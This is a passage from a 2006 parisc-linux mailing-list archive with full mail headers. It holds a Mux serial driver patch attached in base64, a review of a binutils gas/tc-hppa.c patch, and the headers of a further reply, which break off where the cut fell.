NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2006 05:37:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 20 Oct 2006 07:37:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFF717D707;
	Thu, 19 Oct 2006 23:37:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17866-06; Thu, 19 Oct 2006 23:37:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDE597D71F;
	Thu, 19 Oct 2006 23:37:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D729A7D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Oct 2006 23:37:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17781-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Oct 2006 23:36:59 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by free.linux.hp.com (Postfix) with ESMTP id 748277D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Oct 2006 23:36:59 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id t14so953731wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Oct 2006 22:36:58 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type;
	b=j6VmnnBMe7HoeO7kc3I6qOC/rzxSWzIZuV3kWwrVoYlhqC2WkC/pYQFOmfXeZKGpHs5rQ3xRdWRqO8DrR3z/0CAuN3lYhoq7jZ4/jkhNflaDkLr2qAU3rB0EqbllkwzW4yJriyLaW3nUKAOWVqVxDqfRMeMqx/pdxcPxK6ASH6M=
Original-Received: by 10.90.68.15 with SMTP id q15mr729194aga;
	Thu, 19 Oct 2006 22:36:58 -0700 (PDT)
Original-Received: by 10.90.53.10 with HTTP; Thu, 19 Oct 2006 22:36:58 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: slcNcUAQTiEtQKyUaGRw0KV1ZUVSRFc2
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24037

------=_Part_81929_21838151.1161322618585
Content-Type: multipart/alternative; 
	boundary="----=_Part_81930_15441518.1161322618585"

------=_Part_81930_15441518.1161322618585
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello all,

The following patch provides the following updates to the Mux driver:

  * Addresses the concerns Willy raised in this email:

http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030220.html

    I fixed the Mux to use not use the PDC Software console and actually use
    the Mux hardware.


  * Addresses the concerns Willy and Russell King raised in this email:

http://lists.parisc-linux.org/pipermail/parisc-linux/2005-December/027912.html

    I have not tested this fix yet, hopefully I will have a chance to verify
this fix
    on knapps.


  * Fixed some compiler warnings.


  * Updated the HP-PB driver to recognize the Gecko Boa device on the E-35.


  * Updated the Mux to claim the resources used for the serial ports.


Sorry this is one big patch, but my git-foo is very weak :(  I can work on
breaking this
patch into smaller chucks if it will make it easer for review.

Thanks!

- Ryan

------=_Part_81930_15441518.1161322618585
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello all,<br><br>The following patch provides the following updates to the Mux driver:<br><br>&nbsp; * Addresses the concerns Willy raised in this email:<br>&nbsp;&nbsp;&nbsp; <a href="http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030220.html">
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030220.html</a><br><br>&nbsp;&nbsp;&nbsp; I fixed the Mux to use not use the PDC Software console and actually use<br>&nbsp;&nbsp;&nbsp; the Mux hardware.<br><br><br>&nbsp; * Addresses the concerns Willy and Russell King raised in this email:
<br>&nbsp;&nbsp;&nbsp; <a href="http://lists.parisc-linux.org/pipermail/parisc-linux/2005-December/027912.html">http://lists.parisc-linux.org/pipermail/parisc-linux/2005-December/027912.html</a><br><br>&nbsp;&nbsp;&nbsp; I have not tested this fix yet, hopefully I will have a chance to verify this fix
<br>&nbsp;&nbsp;&nbsp; on knapps.<br><br><br>&nbsp; * Fixed some compiler warnings.<br><br><br>&nbsp; * Updated the HP-PB driver to recognize the Gecko Boa device on the E-35.<br><br><br>&nbsp; * Updated the Mux to claim the resources used for the serial ports.
<br><br><br>Sorry this is one big patch, but my git-foo is very weak :(&nbsp; I can work on breaking this<br>patch into smaller chucks if it will make it easer for review.<br><br>Thanks!<br><br>- Ryan<br><br>

------=_Part_81930_15441518.1161322618585--

------=_Part_81929_21838151.1161322618585
Content-Type: text/x-patch; name=mux.diff; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_eti4s1ss
Content-Disposition: attachment; filename="mux.diff"

ZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGFyaXNjL2hwcGIuYyBiL2RyaXZlcnMvcGFyaXNjL2hwcGIu
YwppbmRleCAwN2RjMmI2Li43NTNhYzkyIDEwMDY0NAotLS0gYS9kcml2ZXJzL3BhcmlzYy9ocHBi
LmMKKysrIGIvZHJpdmVycy9wYXJpc2MvaHBwYi5jCkBAIC02Nyw3ICs2Nyw3IEBAIHN0YXRpYyBp
bnQgaHBwYl9wcm9iZShzdHJ1Y3QgcGFyaXNjX2RldmkKIAkJfQogCQljYXJkID0gY2FyZC0+bmV4
dDsKIAl9Ci0gICAgICAgIHByaW50ayhLRVJOX0lORk8gIkZvdW5kIEdlY2tvQm9hIGF0IDB4JWx4
XG4iLCBkZXYtPmhwYS5zdGFydCk7CisgICAgICAgIHByaW50ayhLRVJOX0lORk8gIkZvdW5kIEdl
Y2tvQm9hIGF0IDB4JXhcbiIsIGRldi0+aHBhLnN0YXJ0KTsKIAogCWNhcmQtPmhwYSA9IGRldi0+
aHBhLnN0YXJ0OwogCWNhcmQtPm1taW9fcmVnaW9uLm5hbWUgPSAiSFAtUEIgQnVzIjsKQEAgLTc4
LDcgKzc4LDcgQEAgc3RhdGljIGludCBocHBiX3Byb2JlKHN0cnVjdCBwYXJpc2NfZGV2aQogCiAJ
c3RhdHVzID0gY2Npb19yZXF1ZXN0X3Jlc291cmNlKGRldiwgJmNhcmQtPm1taW9fcmVnaW9uKTsK
IAlpZihzdGF0dXMgPCAwKSB7Ci0JCXByaW50ayhLRVJOX0VSUiAiJXM6IGZhaWxlZCB0byBjbGFp
bSBIUC1QQiBidXMgc3BhY2UgKCUwOGx4LCAlMDhseClcbiIsCisJCXByaW50ayhLRVJOX0VSUiAi
JXM6IGZhaWxlZCB0byBjbGFpbSBIUC1QQiBidXMgc3BhY2UgKCUwOHgsICUwOHgpXG4iLAogCQkJ
X19GSUxFX18sIGNhcmQtPm1taW9fcmVnaW9uLnN0YXJ0LCBjYXJkLT5tbWlvX3JlZ2lvbi5lbmQp
OwogCX0KIApAQCAtODgsNiArODgsNyBAQCBzdGF0aWMgaW50IGhwcGJfcHJvYmUoc3RydWN0IHBh
cmlzY19kZXZpCiAKIHN0YXRpYyBzdHJ1Y3QgcGFyaXNjX2RldmljZV9pZCBocHBiX3RibFtdID0g
ewogICAgICAgICB7IEhQSFdfQkNQT1JULCBIVkVSU0lPTl9SRVZfQU5ZX0lELCAweDUwMCwgMHhj
IH0sIAorICAgICAgICB7IEhQSFdfQkNQT1JULCBIVkVSU0lPTl9SRVZfQU5ZX0lELCAweDUwMSwg
MHhjIH0sIAogICAgICAgICB7IDAsIH0KIH07CiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvc2VyaWFs
L211eC5jIGIvZHJpdmVycy9zZXJpYWwvbXV4LmMKaW5kZXggOGFkMWI4Yy4uZWM5ZjU4ZSAxMDA2
NDQKLS0tIGEvZHJpdmVycy9zZXJpYWwvbXV4LmMKKysrIGIvZHJpdmVycy9zZXJpYWwvbXV4LmMK
QEAgLTQ5LDkgKzQ5LDEzIEBACiAjZGVmaW5lIE1VWF9TVEFUVVMoc3RhdHVzKSAoKHN0YXR1cyAm
IDB4RjAwMCkgPT0gMHg4MDAwKQogI2RlZmluZSBNVVhfQlJFQUsoc3RhdHVzKSAoKHN0YXR1cyAm
IDB4RjAwMCkgPT0gMHgyMDAwKQogCi0jZGVmaW5lIE1VWF9OUiAyNTYKKyNkZWZpbmUgTVVYX05S
IDE2IAogc3RhdGljIHVuc2lnbmVkIGludCBwb3J0X2NudCBfX3JlYWRfbW9zdGx5Owotc3RhdGlj
IHN0cnVjdCB1YXJ0X3BvcnQgbXV4X3BvcnRzW01VWF9OUl07CitzdHJ1Y3QgbXV4X3BvcnQgewor
ICAgICAgICAgaW50IGVuYWJsZWQ7CisgICAgICAgICBzdHJ1Y3QgdWFydF9wb3J0IHVhcnRfcG9y
dDsKK307CitzdGF0aWMgc3RydWN0IG11eF9wb3J0IG11eF9wb3J0c1tNVVhfTlJdOwogCiBzdGF0
aWMgc3RydWN0IHVhcnRfZHJpdmVyIG11eF9kcml2ZXIgPSB7CiAJLm93bmVyID0gVEhJU19NT0RV
TEUsCkBAIC02Miw2ICs2Niw4IEBAIHN0YXRpYyBzdHJ1Y3QgdWFydF9kcml2ZXIgbXV4X2RyaXZl
ciA9IHsKIAkubnIgPSBNVVhfTlIsCiB9OwogCisvKiBGSVhNRTogT25seSBzdXBwb3J0cyBvbmUg
Y2FyZCAqLworc3RhdGljIHN0cnVjdCByZXNvdXJjZSBtbWlvX3JlZ2lvbjsKIHN0YXRpYyBzdHJ1
Y3QgdGltZXJfbGlzdCBtdXhfdGltZXI7CiAKICNkZWZpbmUgVUFSVF9QVVRfQ0hBUihwLCBjKSBf
X3Jhd193cml0ZWwoKGMpLCAocCktPm1lbWJhc2UgKyBJT19EQVRBX1JFR19PRkZTRVQpCkBAIC0y
NTAsNyArMjU2LDcgQEAgc3RhdGljIHZvaWQgbXV4X3JlYWQoc3RydWN0IHVhcnRfcG9ydCAqcAog
ICovCiBzdGF0aWMgaW50IG11eF9zdGFydHVwKHN0cnVjdCB1YXJ0X3BvcnQgKnBvcnQpCiB7Ci0J
bW9kX3RpbWVyKCZtdXhfdGltZXIsIGppZmZpZXMgKyBNVVhfUE9MTF9ERUxBWSk7CisgICAgICAg
IG11eF9wb3J0c1twb3J0LT5saW5lXS5lbmFibGVkID0gMTsKIAlyZXR1cm4gMDsKIH0KIApAQCAt
MjYyLDYgKzI2OCw3IEBAIHN0YXRpYyBpbnQgbXV4X3N0YXJ0dXAoc3RydWN0IHVhcnRfcG9ydCAK
ICAqLwogc3RhdGljIHZvaWQgbXV4X3NodXRkb3duKHN0cnVjdCB1YXJ0X3BvcnQgKnBvcnQpCiB7
CisgICAgICAgIG11eF9wb3J0c1twb3J0LT5saW5lXS5lbmFibGVkID0gMDsKIH0KIAogLyoqCkBA
IC0zNTcsMTEgKzM2NCwxMSBAQCBzdGF0aWMgdm9pZCBtdXhfcG9sbCh1bnNpZ25lZCBsb25nIHVu
dXNlCiAJaW50IGk7CiAKIAlmb3IoaSA9IDA7IGkgPCBwb3J0X2NudDsgKytpKSB7Ci0JCWlmKCFt
dXhfcG9ydHNbaV0uaW5mbykKKwkJaWYoIW11eF9wb3J0c1tpXS5lbmFibGVkKQogCQkJY29udGlu
dWU7CiAKLQkJbXV4X3JlYWQoJm11eF9wb3J0c1tpXSk7Ci0JCW11eF93cml0ZSgmbXV4X3BvcnRz
W2ldKTsKKwkJbXV4X3JlYWQoJm11eF9wb3J0c1tpXS51YXJ0X3BvcnQpOworCQltdXhfd3JpdGUo
Jm11eF9wb3J0c1tpXS51YXJ0X3BvcnQpOwogCX0KIAogCW1vZF90aW1lcigmbXV4X3RpbWVyLCBq
aWZmaWVzICsgTVVYX1BPTExfREVMQVkpOwpAQCAtMzcxLDggKzM3OCwxNiBAQCBzdGF0aWMgdm9p
ZCBtdXhfcG9sbCh1bnNpZ25lZCBsb25nIHVudXNlCiAjaWZkZWYgQ09ORklHX1NFUklBTF9NVVhf
Q09OU09MRQogc3RhdGljIHZvaWQgbXV4X2NvbnNvbGVfd3JpdGUoc3RydWN0IGNvbnNvbGUgKmNv
LCBjb25zdCBjaGFyICpzLCB1bnNpZ25lZCBjb3VudCkKIHsKLSAgICAgICAgd2hpbGUoY291bnQt
LSkKLSAgICAgICAgICAgICAgICBwZGNfaW9kY19wdXRjKCpzKyspOworICAgICAgICAvKiBXYWl0
IHVudGlsIHRoZSBGSUZPIGRyYWlucy4gKi8KKyAgICAgICAgd2hpbGUoVUFSVF9HRVRfRklGT19D
TlQoJm11eF9wb3J0c1swXS51YXJ0X3BvcnQpKQorICAgICAgICAgICAgICAgIHVkZWxheSgxKTsK
KworICAgICAgICB3aGlsZShjb3VudC0tKSB7CisgICAgICAgICAgICAgICAgaWYoKnMgPT0gJ1xu
JykgeworICAgICAgICAgICAgICAgICAgICAgICAgVUFSVF9QVVRfQ0hBUigmbXV4X3BvcnRzWzBd
LnVhcnRfcG9ydCwgJ1xyJyk7ICAgICAgICAgICAgICAgIAorICAgICAgICAgICAgICAgIH0KKyAg
ICAgICAgICAgICAgICBVQVJUX1BVVF9DSEFSKCZtdXhfcG9ydHNbMF0udWFydF9wb3J0LCAqcysr
KTsKKyAgICAgICAgfQogfQogCiBzdGF0aWMgaW50IG11eF9jb25zb2xlX3NldHVwKHN0cnVjdCBj
b25zb2xlICpjbywgY2hhciAqb3B0aW9ucykKQEAgLTQ0MCw3ICs0NTUsNyBAQCBzdGF0aWMgaW50
IF9faW5pdCBtdXhfcHJvYmUoc3RydWN0IHBhcmlzCiAJfQogCiAJcG9ydHMgPSBHRVRfTVVYX1BP
UlRTKGlvZGNfZGF0YSk7Ci0gCXByaW50ayhLRVJOX0lORk8gIlNlcmlhbCBtdXggZHJpdmVyICgl
ZCBwb3J0cykgUmV2aXNpb246IDAuM1xuIiwgcG9ydHMpOworIAlwcmludGsoS0VSTl9JTkZPICJT
ZXJpYWwgbXV4IGRyaXZlciAoJWQgcG9ydHMpIFJldmlzaW9uOiAwLjRcbiIsIHBvcnRzKTsKIAog
CWlmKCFwb3J0X2NudCkgewogCQltdXhfZHJpdmVyLmNvbnMgPSBNVVhfQ09OU09MRTsKQEAgLTQ1
NSw4ICs0NzAsMTQgQEAgc3RhdGljIGludCBfX2luaXQgbXV4X3Byb2JlKHN0cnVjdCBwYXJpcwog
CQltdXhfdGltZXIuZnVuY3Rpb24gPSBtdXhfcG9sbDsKIAl9CiAKKyAgICAgICAgbW1pb19yZWdp
b24ubmFtZSA9ICJNdXgiOworICAgICAgICBtbWlvX3JlZ2lvbi5mbGFncyA9IElPUkVTT1VSQ0Vf
TUVNOworICAgICAgICBtbWlvX3JlZ2lvbi5zdGFydCA9IGRldi0+aHBhLnN0YXJ0ICsgTVVYX09G
RlNFVDsKKyAgICAgICAgbW1pb19yZWdpb24uZW5kID0gZGV2LT5ocGEuc3RhcnQgKyBNVVhfT0ZG
U0VUICsgKHBvcnRzICogTVVYX0xJTkVfT0ZGU0VUKSAtIDE7CisgICAgICAgIGluc2VydF9yZXNv
dXJjZSgmaW9tZW1fcmVzb3VyY2UsICZtbWlvX3JlZ2lvbik7CisKIAlmb3IoaSA9IDA7IGkgPCBw
b3J0czsgKytpLCArK3BvcnRfY250KSB7Ci0JCXBvcnQgPSAmbXV4X3BvcnRzW3BvcnRfY250XTsK
KwkJcG9ydCA9ICZtdXhfcG9ydHNbcG9ydF9jbnRdLnVhcnRfcG9ydDsKIAkJcG9ydC0+aW9iYXNl
CT0gMDsKIAkJcG9ydC0+bWFwYmFzZQk9IGRldi0+aHBhLnN0YXJ0ICsgTVVYX09GRlNFVCArCiAJ
CQkJCQkoaSAqIE1VWF9MSU5FX09GRlNFVCk7CkBAIC00ODQsNiArNTA1LDggQEAgc3RhdGljIGlu
dCBfX2luaXQgbXV4X3Byb2JlKHN0cnVjdCBwYXJpcwogI2lmZGVmIENPTkZJR19TRVJJQUxfTVVY
X0NPTlNPTEUKICAgICAgICAgcmVnaXN0ZXJfY29uc29sZSgmbXV4X2NvbnNvbGUpOwogI2VuZGlm
CisJbW9kX3RpbWVyKCZtdXhfdGltZXIsIGppZmZpZXMgKyBNVVhfUE9MTF9ERUxBWSk7CisKIAly
ZXR1cm4gMDsKIH0KIApAQCAtNTIwLDkgKzU0Myw5IEBAIHN0YXRpYyB2b2lkIF9fZXhpdCBtdXhf
ZXhpdCh2b2lkKQogCWludCBpOwogCiAJZm9yIChpID0gMDsgaSA8IHBvcnRfY250OyBpKyspIHsK
LQkJdWFydF9yZW1vdmVfb25lX3BvcnQoJm11eF9kcml2ZXIsICZtdXhfcG9ydHNbaV0pOwotCQlp
ZiAobXV4X3BvcnRzW2ldLm1lbWJhc2UpCi0JCQlpb3VubWFwKG11eF9wb3J0c1tpXS5tZW1iYXNl
KTsKKwkJdWFydF9yZW1vdmVfb25lX3BvcnQoJm11eF9kcml2ZXIsICZtdXhfcG9ydHNbaV0udWFy
dF9wb3J0KTsKKwkJaWYgKG11eF9wb3J0c1tpXS51YXJ0X3BvcnQubWVtYmFzZSkKKwkJCWlvdW5t
YXAobXV4X3BvcnRzW2ldLnVhcnRfcG9ydC5tZW1iYXNlKTsKIAl9CiAKIAl1YXJ0X3VucmVnaXN0
ZXJfZHJpdmVyKCZtdXhfZHJpdmVyKTsK
------=_Part_81929_21838151.1161322618585
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_81929_21838151.1161322618585--



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 22 Oct 2006 14:13:15 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20061022181315.GA21547__11638.4289962754$1416624199$gmane$org@hiauly1.hia.nrc.ca>
References: <200610211944.k9LJiE77010509@hiauly1.hia.nrc.ca>
	<1161466446.7854.86.camel@localhost.localdomain>
	<20061021233857.GA12282@hiauly1.hia.nrc.ca>
	<1161537558.5629.15.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624199 21434 80.91.229.3 (22 Nov 2014 02:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:19 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: Jeff Bailey <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:36:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 27 Oct 2006 17:36:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 916467D69A;
	Fri, 27 Oct 2006 09:36:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29447-01; Fri, 27 Oct 2006 09:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B96117D64C;
	Fri, 27 Oct 2006 09:36:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DCFB7D415
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 12:13:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03388-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 12:13:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CEB887D406
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 12:13:23 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k9MIDGmN022535;
	Sun, 22 Oct 2006 14:13:17 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k9MIDFWw022534;
	Sun, 22 Oct 2006 14:13:15 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1161537558.5629.15.camel@localhost.localdomain>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ylIjIfsWa0AoXL6aejEz01Y3Njh6dI4J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24038

On Sun, Oct 22, 2006 at 01:19:18PM -0400, Jeff Bailey wrote:

> Index: configure

Don't send diff's for generated files.

> +  {"%fr10",  bfd_mach_hppa10,  10 + FP_REG_BASE},
> +  {"%fr10l", bfd_mach_hppa10,  10 + FP_REG_BASE},
> +  {"%fr10r", bfd_mach_hppa10,  10 + FP_REG_BASE + FP_REG_RSEL},

The "fr" entries needs more work now that you have added bfd_mach
values.  bfd_mach_hppa10 only had 16 FP registers (0 to 15) and
the left and right halves were not accessible.  In bfd_mach_hppa11,
16 additional FP registers were added and the left and right
halves became independently accessible.

> +#  ifdef TE_NetBSD
> +#  define ELF_TARGET_FORMAT       "elf32-hppa-netbsd"
> +#  define ELF64_TARGET_FORMAT     "elf64-hppa-linux"

The above line appears to be a typo.  However, the elf64-hppa-netbsd
output format isn't defined yet.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mux Updates.
Date: Sun, 22 Oct 2006 15:41:32 -0600
Lines: 81
Approved: news@gmane.org
Message-ID: <20061022214131.GC25210@parisc-linux.org>
References: <e739902b0610192236u61d76952l942d4f9caac066c6@mail.gmail.com>
	<20061020060335.GT2602@parisc-linux.org>
	<e739902b0610221020h4843e5f2x3ca44a273bea47f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624199 21435 80.91.229.3 (22 Nov 2014 02:43:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@gmail.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Oct 2006 15:37:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 Oct 2006 17:37:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7D7F7D6C2;
	Fri, 27 Oct 2006 09:37:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29628-09; Fri, 27 Oct 2006 09:37:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08D627D6D0;
	Fri, 27 Oct 2006 09:37:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B70427D684
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 15:41:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05575-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 15:41:32 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 849C77D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Oct 2006 15:41:32 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 408B8494009; Sun, 22 Oct 2006 15:41:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <e739902b0610221020h4843e5f2x3ca44a273bea47f@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
